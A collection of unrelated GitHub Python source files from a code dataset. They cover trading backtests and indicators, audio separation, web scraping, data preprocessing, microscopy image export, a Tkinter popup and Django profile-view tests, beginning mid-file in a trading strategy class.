price_data['Close'].rolling(window=n).mean()\n\n    def compute_Avg_True_Range(self, n, price_data, name='ATR', use_n=True):\n        high_low = price_data['High'] - price_data['Low']\n        high_close = np.abs(price_data['High'] - price_data['Close'].shift())\n        low_close = np.abs(price_data['Low'] - price_data['Close'].shift())\n\n        ranges = pd.concat([high_low, high_close, low_close], axis=1)\n        true_range = np.max(ranges, axis=1)\n\n        if use_n:\n            price_data[f'{name}{n}'] = true_range.rolling(n).sum() / n\n        else:\n            price_data[f'{name}'] = true_range.rolling(n).sum() / n\n\n    def compute_Avg_Range(self, n, price_data, name='AR', use_n=True):\n        high_low = price_data['High'] - price_data['Low']\n        if use_n:\n            price_data[f'{name}{n}'] = high_low.rolling(n).sum() / n\n        else:\n            price_data[f'{name}'] = high_low.rolling(n).sum() / n\n\n    def compute_EMA(self, n, price_data, name='EMA', use_n=True):\n        if use_n:\n            price_data[f'{name}{n}'] = pd.Series.ewm(price_data['Close'], span=n).mean()\n        else:\n            price_data[f'{name}'] = pd.Series.ewm(price_data['Close'], span=n).mean()\n\n    def compute_WilliamsFractal(self, n, price_data, names=['BearFractal', 'BearFractal'], use_n=True):\n        periods = tuple(range(-n, 0)) + tuple(range(1, n + 1))\n\n        bear_fractal = pd.Series(np.logical_and.reduce([\n            price_data['High'] > price_data['High'].shift(period) for period in periods\n        ]), index=price_data.index)\n\n        bull_fractal = pd.Series(np.logical_and.reduce([\n            price_data['Low'] < price_data['Low'].shift(period) for period in periods\n        ]), index=price_data.index)\n\n        if use_n:\n            price_data[f'{names[0]}{n}'] = bear_fractal\n            price_data[f'{names[1]}{n}'] = bull_fractal\n        else:\n            price_data[f'{names[0]}'] = bear_fractal\n            price_data[f'{names[1]}'] = bull_fractal\n\n    def end_trade(self, t, data: Trade, price_data) -> Tuple[bool, float]:\n        order_type = data.type\n        stop_loss = data.stop_loss\n        entry = data.entry\n        take_profit = data.take_profit\n        t_entry = data.t_entry\n        if order_type == 'Long' and price_data['Low'].get(t) <= stop_loss:\n            # Long order failed\n            growth = stop_loss / entry - 1\n            if self.show_trades:\n                print(\n                    f'Failed Long trade: Date: {price_data[\"Date\"].get(t_entry)} Entry: {entry}, Stop: {stop_loss}, TakeProfit: {take_profit}, growth: {growth * 100}%')\n            return True, growth\n        elif order_type == 'Long' and price_data['High'].get(t) >= take_profit:\n            # Long trade succeeded\n            growth = take_profit / entry - 1\n            if self.show_trades:\n                print(\n                    f'Successful Long trade: Date: {price_data[\"Date\"].get(t_entry)} Entry: {entry}, Stop: {stop_loss}, TakeProfit: {take_profit}, growth: {growth * 100}%')\n            return True, growth\n        elif order_type == 'Short' and price_data['Low'].get(t) <= take_profit:\n            # Short trade succeeded\n            growth = entry / take_profit - 1\n            if self.show_trades:\n                print(\n                    f'Successful Short trade: Date: {price_data[\"Date\"].get(t_entry)} Entry: {entry}, Stop: {stop_loss}, TakeProfit: {take_profit}, growth: {growth * 100}%')\n            return True, growth\n        elif order_type == 'Short' and price_data['Low'].get(t) >= stop_loss:\n            # Short trade failed\n            growth = stop_loss / entry - 1\n            if self.show_trades:\n                print(\n                    f'Failed Short trade: Date: {price_data[\"Date\"].get(t_entry)} Entry: {entry}, Stop: {stop_loss}, TakeProfit: {take_profit}, growth: {growth * 100}%')\n            return True, growth\n        return False, 0.\n\n    @abc.abstractmethod\n    def get_hyperparameter_space(self) -> Dict[str, float]:\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def set_strategy_hyperparameters(self, values):\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def get_platform_hyperparameters(self):\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def set_platform_hyperparameters(self, values):\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def compute_indicators(self):\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def compute_indicators(self):\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def place_trade(self, t, t_min, price_data):\n        return None, False\n\n    @abc.abstractmethod\n    def end_trade(self, t, data: Trade, price_data) -> Tuple[bool, float]:\n        return False, 0\n\n    def partial_test(self, trials, min_len=60 * 6, max_len=24 * 60):\n        total_time = 0\n        num_of_trades = 0\n        successful_orders = 0\n        total_balance_change = 0\n        for t in range(trials):\n            l = random.randint(int(min_len / binsizes[timeframe]), int(max_len / binsizes[timeframe]))\n            data_id = random.randint(0, len(self.price_data) - 1)\n            t_0 = random.randint(self.t_min[data_id], self.price_data[data_id].shape[0] - l - 1)\n            data = self.price_data[data_id]\n\n            total_orders, positive_trades, trading_time, change_of_balance = self.test_strategy(data, t_0, t_0 + l, self.t_min[data_id])\n            total_time += trading_time\n            num_of_trades += total_orders\n            successful_orders += positive_trades\n            total_balance_change += change_of_balance\n        return total_time, num_of_trades, successful_orders, total_balance_change / (self.test_balance * self.risk_per_trade)\n\n    def forward_to_next_trade(self, price_data, t, trade):\n        return t\n\n    def test_strategy(self, price_data, t_min, t_max, real_t_min):\n        # 100% initial balance\n        balance = self.test_balance\n        trade_balance = balance * self.risk_per_trade\n\n        # Define order info\n        total_orders = 0\n        successful_orders = 0\n\n        t = t_min\n        is_active = False\n        is_trade = False\n        data = None\n        order_counter = 0\n\n        while t < min(price_data['Open'].shape[0], t_max):\n            if is_active:\n                order_counter += 1\n                if order_counter > self.max_trade_time and data is not None:\n                    end = True\n                    growth = price_data['Close'][t] / data.entry - 1\n                    order_counter = 0\n                else:\n                    end, growth = self.end_trade(t, data, price_data)\n                if end:\n                    is_active = False\n                    successful_orders += growth > 0\n                    balance = (balance - trade_balance) + trade_balance * (growth * self.futures_multiplier + 1) * (1 - self.fee.get_value())\n                    order_counter = 0\n                    t = self.forward_to_next_trade(price_data, t)\n                    continue\n\n            # Place new orders\n            if not is_active:\n                trade_data, is_trade = self.place_trade(t, real_t_min, price_data)\n\n            if is_trade:\n                is_active = True\n                is_trade = False\n                total_orders += 1\n                data = trade_data\n                order_counter = 0\n            t += 1\n\n        if is_active:\n            growth = price_data['Close'][t] / data.entry - 1\n            successful_orders += growth > 0\n            balance = (balance - trade_balance) + trade_balance * (growth * self.futures_multiplier + 1) * (\n                        1 - self.fee.get_value())\n\n        # return statistics\n        trading_time = ((t - t_min) * binsizes[timeframe]) # time in minutes\n        return total_orders, successful_orders, trading_time, balance - self.test_balance\n","repo_name":"Rubilia/AlgoTrading","sub_path":"Strategy.py","file_name":"Strategy.py","file_ext":"py","file_size_in_byte":10454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37019360634","text":"import os, subprocess\n\ndef root():\n  print(\" -- pip install --upgrade demucs\")\n  path_to_audio_file = os.path.join(os.getcwd(), \"viva_la_vida.mp3\")\n  cmd = [\"python3\", \"-m\", \"demucs.separate\", \"--two-stems=vocals\", path_to_audio_file]\n  p = subprocess.Popen(cmd, stdout=subprocess.PIPE, universal_newlines=True)\n  # Write process to stdout\n  for stdout_line in iter(p.stdout.readline, \"\"):\n    print(stdout_line, end=\"\")\n  p.stdout.close()\n  p.wait()\n  if p.returncode != 0:\n    print(\"Error: \", p.stderr.read())\n\nif __name__ == \"__main__\":\n  root()","repo_name":"MochiTarts/karaoke-me-microservices","sub_path":"split/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"7990965379","text":"N = int(input())\n\nfor lines in range(N):\n    T = int(input())\n\n    difference = 2014 - T\n\n    if difference < 0:\n        print(f'{abs(difference)} A.C.')\n    else:\n        difference += 1\n        print(f'{difference} D.C.')","repo_name":"gustavonikov/URI_problems","sub_path":"URI 1962 - A Long, Long Time Ago.py","file_name":"URI 1962 - A Long, Long Time Ago.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"2055165821","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy.crawler import CrawlerProcess\n\n\nclass MuratorScraper(scrapy.Spider):\n    name = 'PHScraper'\n\n    def start_requests(self):\n        yield scrapy.Request(url='https://www.muratorplus.pl/', callback=self.parse)\n\n    def parse(self, response):\n        rank = dict()\n        titles_list = response.xpath('/html/body/section[2]/div/section[2]/div/div/div[1]/div/div//div[@class=\"element__headline\"]/a/@title').extract()\n        for title in titles_list:\n            print(title)\n            for word in title.split():\n                word = word.strip().lower()\n                if len(word) < 2:\n                    continue\n                elif word[-1] in ['?','.','!']:\n                    word = word[:-1]\n                try:\n                    rank[word] += 1\n                except KeyError:\n                    rank[word] = 1\n        for word, number in sorted(rank.items(), key=lambda x:x[1], reverse=True):\n            if number > 2:\n                print(word, \": \", number)\n\nprocess = CrawlerProcess()\nprocess.crawl(MuratorScraper)\nprocess.start()\n","repo_name":"adrian-hebda/headline-scraper","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22764254464","text":"movie_type = input()\r\nrows, cols = int(input()), int(input())\r\n\r\nseats = rows * cols\r\n\r\nif (movie_type == 'Premiere'): price  = 12.00\r\nelif (movie_type  == 'Normal'): price = 7.50\r\nelse: price = 5.00\r\n\r\ntotal = seats * price\r\n\r\nprint(f'{total:.2f} leva')","repo_name":"usec123/Python_softuni","sub_path":"programming_basics/06.conditional_statements_adv_exercise/01.cinema.py","file_name":"01.cinema.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"4611066534","text":"import requests\n\n\nurl = \"https://free.kuaidaili.com/free/\"\n# url = 'https://www.baidu.com'\n\nheaders = {\n    'Referer': 'https://www.kuaidaili.com/',\n    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'\n}\n\nresponse = requests.get(url=url, headers=headers)\n# print(response)\n\nselector = parsel.Selector(response.text)\ntr_list = selector.css('#list > table > tbody > tr').get()\nfor tr in tr_list:\n    ip = tr.css('td:nth-child(1)::text').get()\n    print(ip)\n","repo_name":"WillpowerJin/Web_Scraping","sub_path":"IP_Proxy/proxy.py","file_name":"proxy.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"17123620366","text":"\"\"\"\nA left rotation operation on an array shifts each of the array's elements 1 unit\nto the left. For example, if 2 left rotations are performed on array [1,2,3,4,5],\nthen the array would become [3,4,5,1,2].\n\nGiven an array a of n integers and a number, d, perform d left rotations on the\narray. Return the updated array to be printed as a single line of\nspace-separated integers.\n\nFunction Description:\nComplete the function rotLeft in the editor below. It should return the\nresulting array of integers.\n\nrotLeft has the following parameter(s):\nAn array of integers a.\nAn integer d, the number of rotations.\n\nInput Format:\nThe first line contains two space-separated integers n and d, the size of a and\nthe number of left rotations you must perform.\nThe second line contains n space-separated integers a[i].\n\nConstraints:\n1 <= n <= 10**5\n1 <= d <= n\n1 <= a[i] <= 10**6\n\nOutput Format:\nPrint a single line of n space-separated integers denoting the final state of\nthe array after performing d left rotations.\n\"\"\"\n\ndef rotLeft(arr, d):\n    if d == 0 or len(arr) == 0:\n        return arr\n    if d % len(arr) == 0:\n        return arr\n    for i in range(d):\n        c = arr.pop(0)\n        arr.append(c)\n    return arr\n\ndef rotLeft(a, d):\n    if d == 0 or len(a) == 0:\n        return a\n    rotation = d % len(a)\n    if rotation == 0:\n        return a\n    b = []\n    for i in range(len(a)):\n        b.append(a[indexHelper(i+rotation, len(a))])\n    return b\n\ndef indexHelper(ind, length):\n    if ind >= length:\n        return ind - length\n    else:\n        return ind\n\nif __name__ == '__main__':\n    a = [1, 2, 3, 4, 5]\n    d = 4\n    print(rotLeft(a, d))","repo_name":"farmani60/coding_practice","sub_path":"topic1_arrays/LeftRotation.py","file_name":"LeftRotation.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25980587933","text":"from PIL import Image\nimport tifffile\nfrom aicsimageio import AICSImage\nimport os\nfrom aicsimageio.writers import OmeTiffWriter\nimport numpy as np\nimport argparse\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--input_dir_movie\", type=str, default=\"/allen/aics/microscopy/Data/RnD_Sandbox/Timelapse at different timepoint 20221220/5500000123_R00_Chir_44-30.czi\")\nparser.add_argument(\"--output_dir\", type=str, default=\"/allen/aics/microscopy/Data/RnD_Sandbox/Timelapse at different timepoint 20221220/output\")\n\n\n\n\n\n\ndef get_max_proj(img):\n    '''returns max project of image'''\n    max_proj = np.max(img, axis=0)[np.newaxis, ...][0,:,:]\n    return max_proj\n\n\nif __name__ == \"__main__\":\n    args= parser.parse_args()\n\n\n    reader = AICSImage(args.input_dir_movie)\n    num_scenes=40\n    num_timepoints=reader.shape[0]\n    num_channels=reader.shape[1]\n    # output_dir = os.path.join(args.output_dir, os.path.basename(args.input_dir_movie).split(\".czi\", 1)[0])\n\n    # if not os.path.exists(output_dir):\n    #     os.mkdir(output_dir)\n\n    for scene in range(num_scenes):\n        reader.set_scene(scene)\n        for timepoint in range(num_timepoints):\n            for channel in range(num_channels):\n                img = reader.get_image_dask_data(\"ZYX\", C = channel, T = timepoint)\n                prefix = \"Chir\" + os.path.basename(args.input_dir_movie).split(\"Chir\", 1)[1].split(\".czi\", 1)[0]\n                out_fn = os.path.join(args.output_dir, f\"{prefix}_P{scene:02d}_T{timepoint:02d}_Ch{channel}_mip.tiff\")\n                mip_img = get_max_proj(img.compute())\n                OmeTiffWriter.save(mip_img, out_fn)\n                print(f\"saved {out_fn}\")\n\n                \n                \n\n\n\n\n","repo_name":"aics-int/multiplex_immuno_processing","sub_path":"old_workflow/save_out_MIP_images.py","file_name":"save_out_MIP_images.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"17113635180","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport embed_video.fields\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('let_me_app', '0017_auto_20160308_1347'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='GalleryVideo',\n            fields=[\n                ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n                ('video', embed_video.fields.EmbedVideoField()),\n                ('note', models.CharField(verbose_name='note', max_length=128, default='just a picture')),\n                ('followable', models.ForeignKey(to='let_me_app.Followable')),\n            ],\n        ),\n    ]\n","repo_name":"oleg-chubin/let_me_play","sub_path":"let_me_app/migrations/0018_galleryvideo.py","file_name":"0018_galleryvideo.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"73087977960","text":"from tkinter import *\n\nhelv36 = (\"Helvetica\", 16)\n\n\nclass PopupMessage:\n    def __init__(self, top, message):\n        self.top = top\n        self.message = message['message']\n        self.top.geometry(\"600x250\")\n        self.top.config(bg=\"skyblue\")\n        self.top.title('Message')\n        # root frame\n        self.root_frame = Frame(self.top)\n        self.root_frame.config(bg=\"skyblue\")\n        self.root_frame.pack()\n        # frame for all info\n        self.info_section = Frame(self.root_frame)\n        self.info_section.config(bg=\"skyblue\")\n        self.info_section.pack()\n        # frame for title and detail\n        self.left_info_section = Frame(self.info_section)\n        self.left_info_section.pack(side=LEFT)\n        # frame for contact\n        self.right_info_section = Frame(self.info_section)\n        self.right_info_section.pack(side=TOP, anchor=NW)\n        # title component\n        self.title_section = Frame(self.left_info_section)\n        self.title_section.pack(side=TOP)\n        #self.title_section.config(bg=\"#3498DB\")\n        self.title_label = Label(self.title_section, text=\"Title\",font=(\"Helvetica\", 12))#,fg=\"#FBFCFC\")\n        self.title_label.pack()\n        #self.title_label.config(bg=\"#3498DB\")\n        self.title_text = Text(self.title_section, height=1, width=25)\n        self.title_text.insert(INSERT, self.message[0])\n        self.title_text.configure(font=helv36)\n        self.title_text.pack()\n        # detail component\n        self.detail_section = Frame(self.left_info_section)\n        self.detail_section.pack(side=TOP)\n        #self.detail_section.config(bg=\"#3498DB\")\n        self.detail_label = Label(self.detail_section, text=\"Detail\",font=(\"Helvetica\", 12))#,fg=\"#FBFCFC\")\n        #self.detail_label.config(bg=\"#3498DB\")\n        self.detail_label.pack()\n        self.detail_text = Text(self.detail_section, height=5, width=25)\n        self.detail_text.insert(INSERT, self.message[1])\n        self.detail_text.configure(font=helv36)\n        self.detail_text.pack()\n        # contact component\n        self.contact_section = Frame(self.right_info_section)\n        self.contact_section.pack(side=TOP)\n        #self.contact_section.config(bg=\"#3498DB\")\n        self.contact_label = Label(self.contact_section, text=\"Contact\",font=(\"Helvetica\", 12))#,fg=\"#FBFCFC\")\n        self.contact_label.pack()\n       # self.contact_label.config(bg=\"#3498DB\")\n        self.contact_text = Text(self.contact_section, height=7, width=25)\n        self.contact_text.insert(INSERT, self.message[2])\n        self.contact_text.configure(font=helv36)\n        self.contact_text.pack()","repo_name":"karnkittik/all-is-found","sub_path":"front_end/popup_message.py","file_name":"popup_message.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"18876763242","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.metrics.pairwise import euclidean_distances\n\nclass Data:\n    def __init__(self, features, label):\n        self.features = features\n        self.label = label\n\ndef read_dataset(filename):\n    dataframe = pd.read_csv(filename, sep=';')\n\n    # dataframe.drop(['ID', 'DESA', 'NAMA', 'UMUR KEHAMILAN(MINGGU)', 'BB', 'HB', 'POINT'], axis=1, inplace=True)\n    dataframe.drop(['nama_istri', 'hemoglobin', 'riwayat_melahirkan', 'gagal_hamil', 'skor'], axis=1, inplace=True)\n\n    return dataframe\n\ndef cleaning(df):\n    # df['JARAK KEHAMILAN(THN)'].fillna(0, inplace=True)\n    df.dropna(inplace=True)\n\n    label = df['kategori']\n    df.drop(['kategori'], axis=1, inplace=True)\n    df = df.astype(float)\n    # df['RISIKO'] = label\n    \n    return df, label\n\ndef normalize(df):\n    # df = pd.to_numeric(df)\n    # label = df['RISIKO']\n    # df.drop(['RISIKO'], axis=1, inplace=True)\n    \n    norm_df = (df - df.min()) / (df.max() - df.min())\n    # norm_df['RISIKO'] = label\n\n    return norm_df\n\n\ndf = read_dataset('data/DATA_LATIH_ext.csv')\nprint(df.head(10))\ndf = df.sample(frac=1)\ndf, label = cleaning(df)\nprint(df)\nnorm_df = normalize(df)\n# print(norm_df.head(10))\n\ndf.to_csv('data/data.csv', index=False)\nlabel.to_csv('data/label.csv', header=False, index=False)\nnorm_df.to_csv('data/data_normalized.csv', index=False)\n","repo_name":"wahhend/high-risk-pregnancy","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"72481892842","text":"import pandas as pd \nimport numpy as np\n\nclass FeatureExtractor():\n    def __init__(self, input_file_name=None, output_file_name=None):\n        self.input_file_name = input_file_name\n        self.output_file_name = output_file_name \n        self.out_list = ['rsi','bandwidth','percent-b', 'cv','x','chop','high_','low_','open_','ewm-tp_','std_'] \n        self.period = 20\n        self.chop_period = 20\n        self.rsi_period = 14\n        self.period_list = list(range(1,20))\n        self.volume_period_list =list(range(1,5))\n    def standardize(self,row):\n        return (row[0] - row[1]) / (row[2] - row[1])\n\n    def extract(self):\n\n        df = pd.read_csv(self.input_file_name)\n        \n        #typical price (tp) calculation\n        df['tp'] = df[['close','high','low']].apply(lambda x: (x[0]+x[1]+x[2])/3,axis=1)\n        df['high_']=df[['close','high']].apply(lambda x: (x[1])/x[0],axis=1)\n        df['low_']=df[['close','low']].apply(lambda x: (x[1])/x[0],axis=1)\n        df['open_']=df[['close','open']].apply(lambda x: (x[1])/x[0],axis=1)\n        #rate of change (roc) calculation for several periods\n        for i, per in enumerate(self.period_list):\n            df['roc-'+str(i)] = df['tp'].pct_change(per)            \n            df['roc-'+str(i)] = df['roc-'+str(i)].interpolate(method='linear').bfill()\n        for i, per in enumerate(self.volume_period_list):\t\n            df['v_roc-'+str(i)] = df['volume'].pct_change(per)            \n            df['v_roc-'+str(i)] = df['roc-'+str(i)].interpolate(method='linear').bfill()\n        #Bollinger bands bandwidth and percent-b calculations\n        df['std'] = df['tp'].rolling(self.period).std()\n        df['min'] = df['tp'].rolling(self.period).min()\n        df['max'] = df['tp'].rolling(self.period).max()\n\t\t\n        df['std'] = df['std'].interpolate(method='linear').bfill()\n        df['min'] = df['min'].interpolate(method='linear').bfill()\n        df['max'] = df['max'].interpolate(method='linear').bfill()\n        df['std_']=df['std']/df['close']\n        df['ewm-tp'] = df['tp'].ewm(span=self.period,min_periods=0,adjust=False,ignore_na=False).mean()\n        df['ewm-tp_']=df['ewm-tp']/df['close']\n        df['lower'] = df[['ewm-tp','std']].apply(lambda x: x[0] - 2 * x[1],axis=1)\n        df['upper'] = df[['ewm-tp','std']].apply(lambda x: x[0] + 2 * x[1],axis=1)\n        \n        df['bandwidth'] = df[['ewm-tp','lower','upper']].apply(lambda x: (x[2]-x[1])/x[0],axis=1)\n        df['percent-b'] = df[['tp','lower','upper']].apply(lambda x: self.standardize(x),axis=1)\n        \n        # coefficient of variation (cv) calculation\n        df['cv'] = df[['ewm-tp','std']].apply(lambda x: x[1]/x[0],axis=1)\n        \n        #average true range calculation\n        df['close-p'] =  df['close'].shift(1)\n        df['close-p'] = df['close-p'].interpolate(method='linear').bfill()\n        \n        df['tr'] = df[['close-p','high','low']].apply(lambda x: max([(x[1]-x[2]),abs(x[1]-x[0]),abs(x[2]-x[0])]), \n\naxis=1)\n        df['atr'] = df['tr'].ewm(span=1,min_periods=0,adjust=False,ignore_na=False).mean()\n        df['atr-sum'] = df['atr'].rolling(self.chop_period).sum()\n        df['atr-sum'] = df['atr-sum'].interpolate(method='linear').bfill()\n         \n        df['max-high'] = df['high'].rolling(self.chop_period).max()\n        df['min-low'] = df['low'].rolling(self.chop_period).min()\n\n        df['max-high'] = df['max-high'].interpolate(method='linear').bfill()\n        df['min-low'] = df['min-low'].interpolate(method='linear').bfill()\n        \n        #choppiness index calculation\n        df['chop'] = df[['atr-sum','max-high','min-low']].apply(lambda x: np.log10(x[0]/(x[1]-x[2]))/np.log10\n\n(self.chop_period), axis=1)\n        df['chop'] = df['chop'].interpolate(method='linear').bfill()\n \n        #x indicator calculation\n        df['x'] = df[['close','open']].apply(lambda x: (2*x[0] - x[1])/x[0],axis=1)\n \n        #rsi calculation\n        df['diff-c'] = df[['close']].diff()\n        df['diff-c'] = df['diff-c'].interpolate(method='linear').bfill()\n        df['up'] = df[['diff-c']].apply(lambda x: x[0] if x[0] > 0 else 0, axis = 1)\n        df['down'] = df[['diff-c']].apply(lambda x: -x[0] if x[0] < 0 else 0, axis = 1)\n        df['roll-up'] = df['up'].ewm(span=self.rsi_period,min_periods=0,adjust=False,ignore_na=False).mean()\n        df['roll-down'] = df['down'].ewm(span=self.rsi_period,min_periods=0,adjust=False,ignore_na=False).mean()\n        eps = 1e-10\n        df['rsi'] = df[['roll-up','roll-down']].apply(lambda x: 1.0 - 1.0/(1.0 + x[0]/(x[1]+eps)),axis=1)\n\n        df[self.get_column_names()].to_csv(self.output_file_name)\n        \n\n    def get_feature_names(self):\n        out = self.out_list.copy()\n        for i,j in enumerate(self.period_list):\n            out.append('roc-'+str(i))\n        for i,j in enumerate(self.volume_period_list):\n            out.append('v_roc-'+str(i))\n        return out\n\n    def get_column_names(self):\n        b = self.get_feature_names()\n        a = ['close']\n        return a + b\n    \ndef main():\n    \n    input_file = 'ltcusdt-1hour.csv'\n    output_file = 'ltcusdt-1hour-out.csv'\n    fe = FeatureExtractor(input_file, output_file)\n    fe.extract()\n\nif __name__ == '__main__':\n    main()","repo_name":"julywater/reinforcement_learning_tradebot","sub_path":"features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":5208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"23947776392","text":"import os\nfrom src.utils.uri_utils import uri2video, clean_locator\nfrom src import database, tracker, clusterize\nimport time\nimport json\n\nproject = 'antract_full'\ndatabase.init()\n\ninput_dir = '/data/antract_corpus'\noutput_dir = '/data/antract_corpus/processed/'\nos.makedirs(output_dir, exist_ok=True)\n\nall_videos = [x for x in os.listdir(input_dir) if \".mp4\" in x][0:1]\n\nfor i, video_name in enumerate(all_videos):\n    print(f'%%%%%%%%%% Processing {i} of {len(all_videos)}')\n    video_file = os.path.join(input_dir, video_name)\n    video_id = video_name.replace('.mp4', '').strip()\n\n    media = 'http://www.ina.fr/media/' + video_id\n    print(media)\n\n    v = database.get_all_about(media, project)\n    tracks = [] if (not v or 'tracks' not in v) else v['tracks']\n    need_run = not v or (len(tracks) < 1 and v.get('status') != 'RUNNING')\n    if need_run:\n        locator, v = uri2video(media)\n        v['locator'] = clean_locator(locator)\n        database.save_metadata(v)\n\n        database.clean_analysis(locator, project)\n        database.save_status(locator, project, 'RUNNING')\n        try:\n            time1 = time.time()\n            tracker.main(video_file, project=project, video_speedup=25, export_frames=False)\n            v = database.get_all_about(media, project)\n\n            time2 = time.time()\n            print('{:s} processed in {:.3f} s'.format(media, (time2 - time1)))\n        except RuntimeError:\n            database.save_status(locator, project, 'ERROR')\n\n    raw_tracks = clusterize.from_dict(v['tracks'])\n\n    v['tracks'] = clusterize.main(raw_tracks, confidence_threshold=0, merge_cluster=True)\n    assigned_tracks = [t['merged_tracks'] for t in v['tracks']]\n    if 'feat_clusters' in v:\n        v['feat_clusters'] = clusterize.unknown_clusterise(v['feat_clusters'], assigned_tracks, raw_tracks)\n\n    if '_id' in v:\n        del v['_id']  # the database id should not appear on the output\n\n    with open(os.path.join(output_dir, video_id + '.json'), 'w') as fp:\n        json.dump(dict, fp)\n\nprint('completed')\n","repo_name":"D2KLab/FaceRec","sub_path":"antract_full_process/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"19"}
{"seq_id":"27972325816","text":"\"\"\"Tests for the change profile view.\"\"\"\nfrom django.contrib import messages\nfrom django.test import TestCase\nfrom django.urls import reverse\n\nfrom chessclubs.forms import UserForm\nfrom chessclubs.models import User\nfrom chessclubs.tests.helpers import reverse_with_next\n\n\nclass ChangeProfileViewTest(TestCase):\n    \"\"\"Test suite for the change_profile view.\"\"\"\n\n    fixtures = [\n        'chessclubs/tests/fixtures/default_user.json',\n        'chessclubs/tests/fixtures/other_users.json'\n    ]\n\n    def setUp(self):\n        self.user = User.objects.get(email='johndoe@example.org')\n        self.url = reverse('change_profile')\n        self.form_input = {\n            'first_name': 'John2',\n            'last_name': 'Doe2',\n            'bio': 'New bio',\n            'chess_experience': 'Intermediate',\n            'personal_statement': 'I am the best',\n        }\n\n    def test_profile_url(self):\n        self.assertEqual(self.url, '/change_profile/')\n\n    def test_get_profile(self):\n        self.client.login(email=self.user.email, password='Password123')\n        response = self.client.get(self.url)\n        self.assertEqual(response.status_code, 200)\n        self.assertTemplateUsed(response, 'change_profile.html')\n        form = response.context['form']\n        self.assertTrue(isinstance(form, UserForm))\n        self.assertEqual(form.instance, self.user)\n\n    def test_get_profile_redirects_when_not_logged_in(self):\n        redirect_url = reverse_with_next('log_in', self.url)\n        response = self.client.get(self.url)\n        self.assertRedirects(response, redirect_url, status_code=302, target_status_code=200)\n\n    def test_unsuccessful_profile_update(self):\n        self.client.login(email=self.user.email, password='Password123')\n        self.form_input['chess_experience'] = ''\n        before_count = User.objects.count()\n        response = self.client.post(self.url, self.form_input)\n        after_count = User.objects.count()\n        self.assertEqual(after_count, before_count)\n        self.assertEqual(response.status_code, 200)\n        self.assertTemplateUsed(response, 'change_profile.html')\n        form = response.context['form']\n        self.assertTrue(isinstance(form, UserForm))\n        self.assertTrue(form.is_bound)\n        self.user.refresh_from_db()\n        self.assertEqual(self.user.first_name, 'John')\n        self.assertEqual(self.user.last_name, 'Doe')\n        self.assertEqual(self.user.bio, \"Hello, I'm John Doe.\")\n        self.assertEqual(self.user.chess_experience, \"Expert\")\n        self.assertEqual(self.user.personal_statement, \"I have a whiteboard\")\n\n    def test_succesful_profile_update(self):\n        self.client.login(email=self.user.email, password='Password123')\n        before_count = User.objects.count()\n        response = self.client.post(self.url, self.form_input, follow=True)\n        after_count = User.objects.count()\n        self.assertEqual(after_count, before_count)\n        response_url = reverse('my_profile')\n        self.assertRedirects(response, response_url, status_code=302, target_status_code=200)\n        self.assertTemplateUsed(response, 'my_profile.html')\n        messages_list = list(response.context['messages'])\n        self.assertEqual(len(messages_list), 1)\n        self.assertEqual(messages_list[0].level, messages.SUCCESS)\n        self.user.refresh_from_db()\n        self.assertEqual(self.user.first_name, 'John2')\n        self.assertEqual(self.user.last_name, 'Doe2')\n        self.assertEqual(self.user.bio, 'New bio')\n        self.assertEqual(self.user.chess_experience, 'Intermediate')\n        self.assertEqual(self.user.personal_statement, 'I am the best')\n\n    def test_post_profile_redirects_when_not_logged_in(self):\n        redirect_url = reverse_with_next('log_in', self.url)\n        response = self.client.post(self.url, self.form_input)\n        self.assertRedirects(response, redirect_url, status_code=302, target_status_code=200)\n\n    def test_non_logged_is_redirected(self):\n        response = self.client.get(self.url)\n        redirect_url = reverse_with_next('log_in', reverse('change_profile'))\n        